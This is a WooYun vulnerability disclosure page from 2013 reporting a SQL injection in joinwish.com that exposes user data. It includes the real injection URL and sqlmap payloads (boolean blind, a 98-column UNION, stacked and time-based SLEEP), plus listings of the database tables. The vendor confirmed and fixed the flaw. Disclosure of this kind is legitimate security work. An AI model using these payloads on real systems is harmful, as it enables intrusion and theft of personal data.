当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-034511

漏洞标题:好愿望ROOT权限SQL注射126571条用户数据面临危险

相关厂商:joinwish.com

漏洞作者: VIP

提交时间:2013-08-16 16:05

修复时间:2013-09-30 16:06

公开时间:2013-09-30 16:06

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-08-16: 细节已通知厂商并且等待厂商处理中
2013-08-19: 厂商已经确认,细节仅向厂商公开
2013-08-29: 细节向核心白帽子及相关领域专家公开
2013-09-08: 细节向普通白帽子公开
2013-09-18: 细节向实习白帽子公开
2013-09-30: 细节向公众公开

简要描述:

听说好愿网很爱发礼物,所以我也跟上节奏来了。

详细说明:

注射点:http://www.joinwish.com/wish/show/id/10067637
具体看下面证明

漏洞证明:

---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=10067637 AND 1854=1854
Type: UNION query
Title: MySQL UNION query (NULL) - 98 columns
Payload: id=-4416 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,N
ULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,N
ULL,NULL,CONCAT(0x716a626d71,0x6b485154556c7a687550,0x71706f6871),NULL,NULL,NULL
,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL#
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries
Payload: id=10067637; SELECT SLEEP(5)--
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=10067637 AND SLEEP(5)
---


Database: huluwu
[24 tables]
+------------+
| accounts |
| areas |
| auth_user |
| backends |
| brands |
| cities |
| cs_logs |
| cs_roles |
| cs_users |
| errors |
| invitees |
| merchants |
| p2p_order |
| provinces |
| tx_types |
| users |
| wish_base |
| wish_fans |
| wish_msgs |
| wish_pdts |
| wishes |
| ym_sms |
| ym_sms_mo |
| ym_sms_mt |
+------------+
Database: huluwu
[2 tables]
+------------+
| areas |
| users |
+------------+
Database: mysql
[11 tables]
+------------+
| user |
| db |
| event |
| func |
| help_topic |
| plugin |
| proc |
| procs_priv |
| servers |
| slow_log |
| time_zone |
+------------+


看看用户表有多少数据


看看当前用户

h3.jpg

修复方案:

转义啊过滤啊

版权声明:转载请注明来源 VIP@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-08-19 14:44

厂商回复:

重复漏洞,已修复,今天统一发布

最新状态:

暂无